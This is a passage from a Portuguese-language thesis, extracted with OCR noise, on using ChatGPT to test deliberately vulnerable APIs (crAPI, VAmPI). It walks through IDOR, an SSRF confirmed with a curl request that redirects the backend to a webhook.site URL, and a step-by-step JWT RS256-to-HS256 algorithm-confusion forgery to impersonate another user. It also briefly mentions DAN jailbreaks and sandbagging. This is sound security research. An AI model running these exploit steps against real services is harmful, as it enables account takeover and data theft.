Endpoints: /my-profile, /change-email, /verify-vehicle

— Exposicao de dados sensiveis

— Validacao inadequada na troca de email
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— Falha de autorizacao no registro de veiculos

o Interacdo com o Férum

Endpoints: /forum, /new-post, /post?post_id=, /my-profile

— Cross-Site Scripting (XSS)
— IDOR (Insecure Direct Object Reference)

— Permissoes inadequadas para edi¢do/exclusao

« Pedidos e Loja

Endpoints: /shop, /past-orders, /orders?order_id=

— IDOR em pedidos
— Reutilizacao ou falsificacao de cupons

— Manipulagao na devolucao de pedidos
o Testes Gerais de Seguranca

— Falhas de autenticagao e autorizacao
— Auséncia de protecao contra CSRF

— Vulnerabilidades comuns identificadas por fuzzing

Entre os tépicos definidos para a investigacao, foi identificada uma vulnerabilidade
na secao de Pedidos e Loja, além de trés falhas durante os testes gerais de segurancga. A
primeira vulnerabilidade identificada, conforme o plano de testes estabelecido, foi uma
falha de controle de acesso do tipo IDOR no mdédulo de Loja e Pedidos. Durante a analise
do endpoint /orders?order_id=id, o chatbot sugeriu realizar a compra de um item dis-
ponivel na loja. Apos a finalizagdo da compra, o usuério é redirecionado para uma pagina
que exibe os detalhes do pedido, incluindo informagoes pessoais do comprador. Observa-
se que a URL contém o identificador do pedido, e, ao modificar esse valor manualmente
para o identificador de outro pedido existente no sistema, foi possivel acessar os dados de

pedidos de outros usuarios, mesmo sem estar autenticado como eles.

Neste ambiente de testes, o ChatGPT também foi capaz de auxiliar na identifi-
cagdo de vulnerabilidades mais complexas, como Server-Side Request Forgery (SSRF) e
falhas na autenticacao baseada em tokens JW'T. Além de reconhecer essas vulnerabili-
dades, o chatbot contribuiu ativamente na elaboragao de testes eficazes para explora-las.
Um exemplo notéavel foi a falsificacao de um token JW'T, que permitiu simular a iden-
tidade de outro usuario autenticado, resultando em acesso indevido a dados privados.
Durante esse processo, foi necessario realizar uma pesquisa externa sobre a estrutura e
funcionamento dos tokens JWT, uma vez que o chatbot nao explicou de forma clara os

conceitos envolvidos, o que dificultou a compreensdo inicial. Apesar dessas limitagoes, o
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assistente demonstrou capacidade de identificar e explorar estas duas falhas, reforcando

seu potencial como ferramenta de apoio em testes de seguranca.

4.2.1 SSRF

Apods a confirmacao da vulnerabilidade de IDOR no médulo de Loja, foi rea-
lizada outra investigacao nas funcionalidades do aplicativo, e foi identificado um novo
endpoint, /contact-mechanic?VIN=idVeiculo. Ao ser informado sobre esse endpoint, o
chatbot sugeriu observar a requisicao enviada ao servidor, utilizando a aba Network das
ferramentas de desenvolvedor (DevTools) do navegador, durante a execugao da funciona-
lidade correspondente. A andlise da requisicao revelou a presenca de um campo chamado
mechanic_api no corpo da solicitacao, o qual permite que o cliente especifique a URL
para a qual o backend deve encaminhar uma requisicao — indicando uma possivel vulne-
rabilidade do tipo SSRF (Server-Side Request Forgery). Nessa situacao, o servidor pode
ser induzido a realizar chamadas HTTP para dominios internos ou maliciosos. A Figura
9 ilustra o contetdo original da requisicdo e a observagao feita pelo chatbot a respeito
do risco de redirecionamento. O teste para explorar essa vulnerabilidade foi conduzido

seguindo os passos sugeridos pelo assistente:

1. Foi criado um webhook para capturar a requisicdo que seria feita no teste (Figura
10).

2. A requisicao feita para confirmar a vulnerabilidade altera o conteido do campo

‘mechanic_api’ para o enderego do webhook criado (Figura 11).

3. Verificar se o webhook foi capaz de capturar a requisi¢do redirecionada pela API
(Figura 11).

O teste teve éxito em confirmar a vulnerabilidade, pois a requisicao foi, de fato,
capturada pelo webhook (Figura 12). Esse comportamento comprova que o backend
da aplicagao realiza chamadas para URLs fornecidas pelo cliente, sem a devida

validacao.

4.2.2 Broken Authentication (Confusdo de Algoritmo)

Durante a investigacdo da requisigao realizada no teste de SSRF, o chatbot iden-
tificou o token JWT utilizado pelo usudrio autenticado (campo Authorization exibido
pela Figura 13) e sugeriu a verificagdo de possiveis vulnerabilidades associadas a esse

mecanismo de autenticacao.

Uma dessas vulnerabilidades é conhecida como confusao de algoritmo em tokens
JWT, caracterizada pela forma incorreta com que o servidor trata diferentes algoritmos

de assinatura. A falha ocorre quando o backend aceita multiplos algoritmos (como RS256



Excelente! Agora temos o corpo completo da requisicdo enviada para o endpoint /workshop/api/merchant/

contact_mechanic . Aqui estd o JSON:

json & Copiar % Editar

"mechanic_api”: "http://localhost:8888/workshop/api/mechanic/receive_report”,
"mechanic_code”: "TRAC_JME",

“number_of_repeats": 1,

"problem_details™: "sfsdfs”,

"repeat_request_if_failed™: false,

"win": "1CLCW685LZ78903686"

[ O que isso revela:

Esse endpoint estad encaminhando uma requisicdo para outro endpoint, o mechanic_api, que

provavelmente é interno da aplicagdo. Isso levanta algumas bandeiras de seguranca:

& Possiveis vulnerabilidades a investigar agora:

1. SSRF (Server-Side Request Forgery)

Como o campo mechanic_api € controlado pelo cliente, talvez seja possivel:
= Apontar esse campo para outros servigos internos da AP|

= Enviar a requisicdo para um servidor controlado por vocé (ex: ngrok ou webhooksite) para ver se o

back-end faz chamadas externas

Figura 9 — Identificacao do campo mechanic_api e risco de redirecionamento

Perfeito! Vamos fazer isso passo a passo para testar SSRF. A ideia € redirecionar o backend da crAPI para um

servidor externo controlado por vocé e verificar se ele faz requisi¢es para URLs arbitrarias.

1. Criar um Webhook de teste
Acesse o site https;//webhook site
Ele vai te gerar uma URL Unica, por exemplo:

arduino & Copiar ¥ Editar
https:

Copie essa URL — & pra ela que o backend vai tentar se conectar.

Figura 10 — Geragdo de um endpoint externo para teste com webhook

44
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[2] 2. Enviar a requisicdo alterando mechanic_api
Use este curl ou o DevTools para enviar a requisicdo, alterando o campo mechanic_api :

bash ¥ Copiar ¥ Editar

curl -X POST http://localhost:8888/workshop/api/merchant/contact mechanic \
-H "Content-Type: application/json™ \
-H "Authorization: Bearer SEU_TOKEN_ JWT AQUI™ \

"mechanic_api™: "https://webhook.site/abcd1234-5678-98ef-ghij-klmnopgrstuv”,
"mechanic_code": “"TRAC_IME",

"number_of_repeats”: 1,

"problem_details": "Testando SSRF",

"repeat_request_if failed": false,

"vin": "1CLCW685L7Z7896386"

#s 3. Verifique o Webhook
Volte na aba do webhook site e veja se a requisicdo chegou.

Se vocé recebeu a requisicdo, parabéns!

Vocé acabou de encontrar uma vulnerabilidade de SSRF (Server-Side Request Forgery).

Figura 11 — Envio da requisicao manipulada para o webhook - execucao pratica do ataque

SSRF

v Request Details & Headers

| GET
Host 45,23 2 W Shodan  Nelf

gundos)

Timea
D

MNote

Query strings
c_api

mechanic_c

Figura 12 — Requisi¢ao recebida pelo webhook
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POST hitp://loc

Figura 13 — Cabecalho  da  requisicdo  enviada  pelo endpoint ’ [contact-
mechanic?VIN=idVeiculo’
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e HS256) para verificar a autenticidade dos tokens, mas nao distingue corretamente entre

eles no momento da validacao.

O algoritmo RS256 (assinatura RSA com SHA-256) é um esquema assimétrico, em
que um par de chaves ¢ utilizado: a chave privada serve para assinar o token, enquanto
a chave publica é usada para verificar sua autenticidade. Por outro lado, o algoritmo
HS256 utiliza um esquema simétrico baseado em HMAC (com SHA-256), no qual uma
Unica chave secreta é usada tanto para assinatura quanto para validacdo do token. A
vulnerabilidade ocorre quando o servidor aceita um token que declara uso de HS256, mas
tenta validd-lo utilizando a chave ptblica originalmente empregada para tokens RS256.
Caso o invasor consiga a chave publica utilizada no método RS256, ele pode usa-la como
se fosse uma chave secreta para forjar uma assinatura valida sob HS256, comprometendo
a seguranca do sistema. Durante os testes, a vulnerabilidade foi explorada seguindo os

seguintes passos:

1. O token de autenticacao original, assinado com RS256, foi obtido normalmente
através do processo de login da aplicagdo. O token pode ser observado na Figura
15.

2. O contetudo do token foi decodificado utilizando o site jwt.io, expondo seu header

e payload (Figura 16).

3. O algoritmo de assinatura declarado no header foi entao alterado de RS256 para

HS256, indicando ao servidor que o token deveria ser validado com HMAC.

4. A chave publica da aplicagdo, originalmente usada apenas para verificagdo de to-

kens RS256, foi reutilizada como se fosse uma chave secreta para gerar uma nova
assinatura HMAC.

5. O campo sub do payload foi modificado para o e-mail de outro usuario legitimo, pre-

viamente identificado através do endpoint ‘/orders?order_id=(idDeUmPedido)".

6. Com esses ajustes, um novo token forjado foi criado e enviado ao servidor, que o

aceitou como valido, concedendo acesso indevido aos dados do usuério alvo.

4.3 Discussao de resultados

A andlise dos testes realizados revela uma cobertura limitada na identificagao
das vulnerabilidades presentes nas APIs avaliadas. No caso da VAmPI, das 8 falhas
documentadas, apenas 4 foram efetivamente detectadas, resultando em uma cobertura de
50%. Na crAPI, o desempenho foi ainda mais restrito: das 17 vulnerabilidades conhecidas,

somente 4 foram identificadas, correspondendo a cerca de 23,5%. Esses resultados indicam
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{

"keys": [
{
IIktyll T IIRSAII .
we: WAQAB",
“llSe" . IIsigll '
"kid": "MKMZKDenUfuDF2byYowDj7tW50x6XGUY1THTEGScRg8"

"alg": "RS256",

"n": "sZKrGY3ja9S7BkO-waOcupoGY6BQjixJIkglUitt278NbiCSnBRwS _cmfullFFFPgRxabBZBJwJAujnQrlgTLXnRRItMISRO8E
UecEXn-sUUcB8quwkepev63qb8no6aCVYOdFpthEGtOP-3KIJ2kx21i5HNZm8d7fG3ZswZrttDVbSSTy8UjPTOrUxVnlYyh_GzGK9i_RYBWHFtD
sVfKrHcgGnlF _TeWecgenhUKFmby0Q7dUy8Uc6Gu8IHeHIVE2vGen50EDtUY2YN-UnZPjCSCT7vYOfdSteUR_BfUjg8GNEUnLbr_Et8HUNz9
RFBLKPIF@NiY6iRjpY00SDkml20Gql3wm™

1
L]

]

}
Figura 14 — Chave publica do algoritmo RS256
ENCODED VALUE
JSON WEB TOKEN (JWT)

Valid JWT

Invalid Signature

Figura 15 — Token de autenticacao de usuério codificado

que, embora o ChatGPT tenha contribuido para a descoberta de falhas relevantes, sua
performance como principal agente no desenvolvimento dos testes ainda ¢é insatisfatoria,
principalmente em cenarios mais complexos e que demandam uma maior cobertura, como

em aplicagoes comerciais.

Entre os principais fatores que dificultaram o processo, destaca-se a dificuldade
do modelo em interpretar corretamente os prompts fornecidos, o que levou a geracao
de instrucgoes incompletas, testes ineficazes e a necessidade de multiplas reformulagoes.
Assim, mesmo com a assisténcia do chatbot, o sucesso dos testes exigiu uma atuacao ativa
do usuario, tanto para superar erros de interpretacao quanto para contornar respostas

inconsistentes ou alucinagoes ocasionais.
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DECODED HEADER

CLAIMS TABLE

“alg”: "RS256"

DECODED PAYLOAD

CLAIMS TABLE

“sub": "“fefukaya@gmail.com",
“iat”: 1745346998,

“exp”: 1745951798,

"role": "user"

Figura 16 — Header e Payload decodificados a partir do Token de autenticagdo pelo site
jwt.io

A auséncia de uma interface grafica na VAmPI, por exemplo, obrigou o uso de
ferramentas como terminal para realizar todas as interacoes com a API. Esse fator com-
plicou especialmente requisi¢oes que exigiam tokens de autenticacao ou o envio de dados
no corpo da requisicao em formato JSON. Em uma das tentativas de login realizadas
ao testar a listagem de usudrios, por exemplo, o comando sugerido inicialmente pelo
ChatGPT resultava em erro devido a formatacao inadequada no PowerShell:

curl.exe -X POST http://localhost:5000/users/vl/login -H ’Content-Type:

application/json’ -d ’{’username’:’admin’, ’password’:’admin’}’ -i

A resposta do servidor foi:

HTTP/1.1 400 BAD REQUEST
{
’message’: ’Request body is not valid JSON’,

’status’: ’fail’

}

Ao relatar o erro, o chatbot foi capaz de diagnosticar corretamente o problema e

sugerir a seguinte alternativa:

"Isso acontece porque o PowerShell trata aspas de forma diferente. Para re-

solver, vocé pode usar o seguinte comando em PowerShell:"
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1 $body = ’{’username’:’admin’,’password’:’admin’}’
2 Invoke-RestMethod -Uri http://localhost:5000/users/v1/login -
Method POST -ContentType ’application/json’ -Body $body

Ao realizar o login na API também ocorreu uma dificuldade de visualizagao com-
pleta dos tokens JWT retornados pelas respostas da API. Por padrao, o PowerShell pode

truncar cadeias de caracteres longas, como observado ap6s um login bem-sucedido:

auth_token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1leHAiOjE3NTAwNzgwMTYsImlhdCI6MTc1MDA3Nzki1Niwic3ViIljoibmFtZTEifQ.
rvya8ReGOHRS3 . ..

Nesse caso, o chatbot também ofereceu uma solucao adequada para exibir o token
completo:
$body = ’{’username’:’namel’,’password’:’passl’}’

$response = Invoke-RestMethod -Uri http://localhost :5000/users/v1/login
-Method POST -ContentType ’application/json’ -Body $body

$response.auth_token | Out-String

O teste de confusao de algoritmo envolvendo tokens JWT e a API crAPI também
apresentou limitacoes relevantes durante sua execucao. Para montar o token desejado,
era necessario codificar a chave publica do algoritmo RS256 em base64 e concatené-la a
ultima parte do token JWT. No entanto, mesmo com o conhecimento da chave (Figura
14), o chatbot demonstrou um entendimento incorreto da tarefa, assumindo que seria
necessario construir outro tipo de chave. Como resultado, limitou-se a sugerir comandos
e instrugoes voltadas a criagao desse formato. Diversas tentativas foram realizadas, todas
frustradas, e mesmo quando instruido a revisar o método, o chatbot retornava a mesma
abordagem. Diante disso, tornou-se necessaria a realizacdo de pesquisa externa para
compreender corretamente o processo de exploracao por confusdo de algoritmo. Somente

assim foi possivel identificar e explorar com sucesso a falha critica na validacao de tokens
JWT.

Ao considerar todos os resultados e observacoes feitas, a resposta a pergunta de
pesquisa é afirmativa com ressalvas: sim, é possivel que um desenvolvedor inexperiente
utilize um chatbot baseado em LLM, como o ChatGPT, para criar testes de seguranca
para RESTful APIs, porém, para alcancar uma alta cobertura, necessario em um ambiente
comercial, é necessario muito tempo e esforco. O chatbot se mostrou eficiente como um
copiloto técnico, capaz de automatizar tarefas repetitivas e orientar o raciocinio, mas ainda
esta longe de substituir a necessidade de interpretacao humana no processo de testes de

seguranca.
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Este trabalho também abre a possibilidade de discussao de pontos além do de-
sempenho pratico do chatbot, como a ética que guia essas ferramentas. Da mesma forma
que um profissional pode utilizar dessa tecnologia para reforcar seu software, um agente
malicioso pode usa-la para achar e se aproveitar de vulnerabilidades em aplicagoes, sem
muita dificuldade. A existéncia de praticas de jailbreak, aproveitando-se da técnica de
defini¢ao de papéis como o DAN [10], apresenta indicios de que mesmo com precaugoes
de seguranca, garantir que os chatbots nao sejam utilizados para praticas antiéticas ¢ um
desafio ainda a ser superado. Junto a preocupacgao da possibilidade de uso para praticas
ilicitas, surge o questionamento de um possivel sandbagging da capacidade do chatbot,
termo que se refere a pratica de ocultar deliberadamente o verdadeiro potencial de uma

ferramenta ou sistema.

Durante o desenvolvimento deste trabalho, a atuagao do modelo nao demonstrou
indicios claros de contencao artificial de suas capacidades, sugerindo que o fenémeno de
sandbagging pode nao ter ocorrido nos cenarios explorados. No entanto, dada a natureza
opaca dos mecanismos internos que regem as respostas do modelo, nao é possivel afirmar
isso com total certeza. Assim, a investigacdo sobre possiveis limitagoes intencionais na

performance dessas ferramentas constitui um ponto interessante para estudos futuros.

Outro aspecto relevante a ser considerado diz respeito a possibilidade de o modelo
ter antecipado a presenca de determinadas vulnerabilidades por ja possuir conhecimento
prévio sobre elas, em razao do nome das APIs ter sido explicitado no prompt inicial
dos experimentos. Ha indicios dessa hipdtese em algumas situagoes especificas, como no
teste de enumeracao de usudrios conduzido na VAmPI, em que o modelo, apds poucas
tentativas, foi capaz de inferir corretamente a existéncia do usuario admin; ou ainda no
teste de confusao de algoritmo realizado na crAPI, no qual o modelo indicou corretamente
o dominio onde a chave publica poderia ser encontrada ja na primeira tentativa. Embora
esses episodios levantem a possibilidade de influéncia de conhecimento prévio, é dificil
afirmar com precisao se isso de fato ocorreu, dado que tais comportamentos também
podem ser explicados pelo uso de configuracoes padrao amplamente adotadas nesse tipo

de aplicacao.



5 CONCLUSAO

Este trabalho teve como objetivo avaliar a aplicabilidade de modelos de linguagem
de larga escala (LLMs), representados pelo chatbot ChatGPT, no processo de desenvol-
vimento de testes de seguranca para RESTful APIs. A proposta foi verificar, a partir de
um estudo de caso, se essas ferramentas sao capazes de auxiliar usuarios com pouco ou
nenhum conhecimento prévio em seguranca a identificar e explorar vulnerabilidades reais

em APIs intencionalmente vulneraveis.

Os resultados demonstraram que, embora existam limitagoes, como a necessidade
ocasional de realizar pesquisas externas, esquecimentos de contexto ou explicagoes técnicas
incompletas, o chatbot foi eficaz em diversas etapas do processo. Entre as contribuig¢oes
mais relevantes estiveram: a geracdo de planos de ataque, a formulacao de requisi¢oes
especificas para teste de endpoints e a orientacao sobre o uso de ferramentas e técnicas

adequadas a cada tipo de vulnerabilidade.

Durante os testes, o ChatGPT auxiliou na exploracao de falhas simples, como
enumeracgao de usudrios, e falhas mais complexas, como SSRF e confusao de algoritmos de
autenticacao JWT. A capacidade de sugerir manipulagdes de tokens e redirecionamentos
controlados demonstrou que, quando bem guiado e utilizado de forma critica, o modelo

pode atuar como uma ferramenta de auxilio em testes de seguranca.

Como resultado deste trabalho, foi possivel ndo apenas avaliar a eficacia do uso
destas ferramentas baseadas em LLMs no contexto de seguranca de APIs, mas também
identificar boas praticas na interacao com elas. Destaca-se a importancia da formulacao
cuidadosa de prompts, da validagao continua das respostas e da complementaridade entre

automacao e julgamento humano durante os testes.

Entretanto, uma limitacao relevante do estudo estd na dificuldade de determinar
com precisao se as respostas fornecidas pelo ChatGPT foram baseadas em conhecimento
prévio aprendido durante o treinamento ou em fontes publicas disponiveis na internet,
como as proprias APIs utilizadas no experimento. Isso pode ter influenciado a qualidade
ou facilidade das respostas geradas, especialmente em contextos onde as informacoes

estavam amplamente documentadas.

Conclui-se, portanto, que chatbots baseados em LLMs representam um recurso
promissor para profissionais iniciantes que desejam realizar testes de seguranca em APls,
desde que nao sejam utilizados cegamente. FEste trabalho contribui com a exploracao
e avaliagdo da integracao entre inteligéncia artificial e ciberseguranga, abrindo caminho
para futuras pesquisas e aprimoramentos no uso dessas tecnologias. Como sugestao para

trabalhos futuros, propde-se a investigacao do uso de modelos de linguagem menores e



especializados, treinados especificamente para tarefas de teste de seguranca.
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